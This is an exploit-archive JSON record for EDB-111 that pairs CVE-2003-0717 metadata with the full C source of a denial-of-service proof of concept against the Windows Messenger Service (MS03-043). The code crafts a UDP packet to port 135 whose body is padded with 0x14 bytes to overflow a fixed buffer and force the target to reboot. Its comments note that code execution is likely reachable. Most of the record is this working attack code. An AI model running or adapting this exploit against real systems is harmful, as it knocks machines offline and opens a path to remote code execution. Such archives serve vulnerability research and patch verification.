{"exploit":{"id":"EDB-111","name":"Microsoft Windows Messenger Service - Denial of Service (DoS) (MS03-043)","description":"Microsoft Windows Messenger Service - Denial of Service (DoS) (MS03-043)","cves":["CVE-2003-0717"],"author":"LSD-PLaNET","published":"2003-10-18","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/111","path":"exploits/windows/dos/111.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-111.c","vulnerabilities":[{"id":"CVE-2003-0717","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Messenger Service for Windows NT through Server 2003 does not properly verify the length of the message, which allows remote attackers to execute arbitrary code via a buffer overflow attack.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0717","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0717"},"updatedAt":"2024-08-08T02:05:12.178Z","retrievedAt":"2026-11-26T12:04:07.364Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-111.png?v=2","url":"https://exploitbin.com/exploits/EDB-111","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-111/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-111/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nDoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.\nLaunching it one or two times against the target should make the\nmachine reboot. Tested against a Win2K SP4.\n\n\"The vulnerability results because the Messenger Service does not\nproperly validate the length of a message before passing it to the allocated\nbuffer\" according to MS bulletin. Digging into it a bit more, we find that when\na character 0x14 in encountered in the 'body' part of the message, it is\nreplaced by a CR+LF. The buffer allocated for this operation is twice the size\nof the string, which is the way to go, but is then copied to a buffer which\nwas only allocated 11CAh bytes. Thanks to that, we can bypass the length checks\nand overflow the fixed size buffer.\n\nCredits go to LSD :)\n\n*/\n\n#include <stdio.h>\n#include <winsock.h>\n#include <string.h>\n#include <time.h>\n\n// Packet format found thanks to a bit a sniffing\nstatic unsigned char packet_header[] =\n\"\\x04\\x00\\x28\\x00\"\n\"\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\xf8\\x91\\x7b\\x5a\\x00\\xff\\xd0\\x11\\xa9\\xb2\\x00\\xc0\"\n\"\\x4f\\xb6\\xe6\\xfc\"\n\"\\xff\\xff\\xff\\xff\" // @40 : unique id over 16 bytes ?\n\"\\xff\\xff\\xff\\xff\"\n\"\\xff\\xff\\xff\\xff\"\n\"\\xff\\xff\\xff\\xff\"\n\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\xff\\xff\\xff\\xff\"\n\"\\xff\\xff\\xff\\xff\" // @74 : fields length\n\"\\x00\\x00\";\n\n// Exploit downloaded on www.k-otik.com\nunsigned char field_header[] =\n\"\\xff\\xff\\xff\\xff\" // @0 : field length\n\"\\x00\\x00\\x00\\x00\"\n\"\\xff\\xff\\xff\\xff\"; // @8 : field length\n\nint main(int argc,char *argv[])\n{\n\tint i, packet_size, fields_size, s;\n\tunsigned char packet[8192];\n\tstruct sockaddr_in addr;\n\t// A few conditions :\n\t// 0 <= strlen(from) + strlen(machine) <= 56\n\t// max fields size 3992\n\tchar from[] = \"RECCA\";\n\tchar machine[] = \"ZEUS\";\n\tchar body[4096] = \"*** MESSAGE ***\";\n\n\tWSADATA wsaData;\n\n\tWSAStartup(0x0202, &wsaData);\n\n\tZeroMemory(&addr, sizeof(addr));\n\taddr.sin_family = AF_INET;\n\taddr.sin_addr.s_addr = inet_addr(\"192.168.186.3\");\n\taddr.sin_port = htons(135);\n\n\tZeroMemory(packet, sizeof(packet));\n\tpacket_size = 0;\n\n\tmemcpy(&packet[packet_size], packet_header, sizeof(packet_header) -\n1);\n\tpacket_size += sizeof(packet_header) - 1;\n\n\ti = strlen(from) + 1;\n\t*(unsigned int *)(&field_header[0]) = i;\n\t*(unsigned int *)(&field_header[8]) = i;\n\tmemcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);\n\tpacket_size += sizeof(field_header) - 1;\n\tstrcpy(&packet[packet_size], from);\n\tpacket_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4\n\n\ti = strlen(machine) + 1;\n\t*(unsigned int *)(&field_header[0]) = i;\n\t*(unsigned int *)(&field_header[8]) = i;\n\tmemcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);\n\tpacket_size += sizeof(field_header) - 1;\n\tstrcpy(&packet[packet_size], machine);\n\tpacket_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4\n\n\tfprintf(stdout, \"Max 'body' size (incl. terminal NULL char) = %d\\n\",\n3992 - packet_size + sizeof(packet_header) - sizeof(field_header));\n\tmemset(body, 0x14, sizeof(body));\n\tbody[3992 - packet_size + sizeof(packet_header) - sizeof(field_header)\n- 1] = '\\0';\n\n\ti = strlen(body) + 1;\n\t*(unsigned int *)(&field_header[0]) = i;\n\t*(unsigned int *)(&field_header[8]) = i;\n\tmemcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);\n\tpacket_size += sizeof(field_header) - 1;\n\tstrcpy(&packet[packet_size], body);\n\tpacket_size += i;\n\n\tfields_size = packet_size - (sizeof(packet_header) - 1);\n\t*(unsigned int *)(&packet[40]) = time(NULL);\n\t*(unsigned int *)(&packet[74]) = fields_size;\n\n\tfprintf(stdout, \"Total length of strings = %d\\nPacket size =\n%d\\nFields size = %d\\n\", strlen(from) + strlen(machine) + strlen(body),\npacket_size, fields_size);\n\n/*\n\tfor (i = 0; i < packet_size; i++)\n\t{\n\t\tif (i && ((i & 1) == 0))\n\t\t\tfprintf(stdout, \" \");\n\t\tif (i && ((i & 15) == 0))\n\t\t\tfprintf(stdout, \"\\n\");\n\t\tfprintf(stdout, \"%02x\", packet[i]);\n\t}\n\tfprintf(stdout, \"\\n\");\n*/\n\tif ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)\n\t\texit(EXIT_FAILURE);\n\n\tif (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr,\nsizeof(addr)) == -1)\n\t\texit(EXIT_FAILURE);\n/*\n\tif (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)\n\t\texit(EXIT_FAILURE);\n*/\n\n\texit(EXIT_SUCCESS);\n}\n\n// milw0rm.com [2003-10-18]","sha256":"725aa5604fdd1ba663eca20065eeb6a7749c79a2e8b214cc8f93cca465658f8f","bytes":4281,"fetchedAt":"2026-11-26T12:07:31.618Z","encoding":"utf-8 (display only; download retains original bytes)"}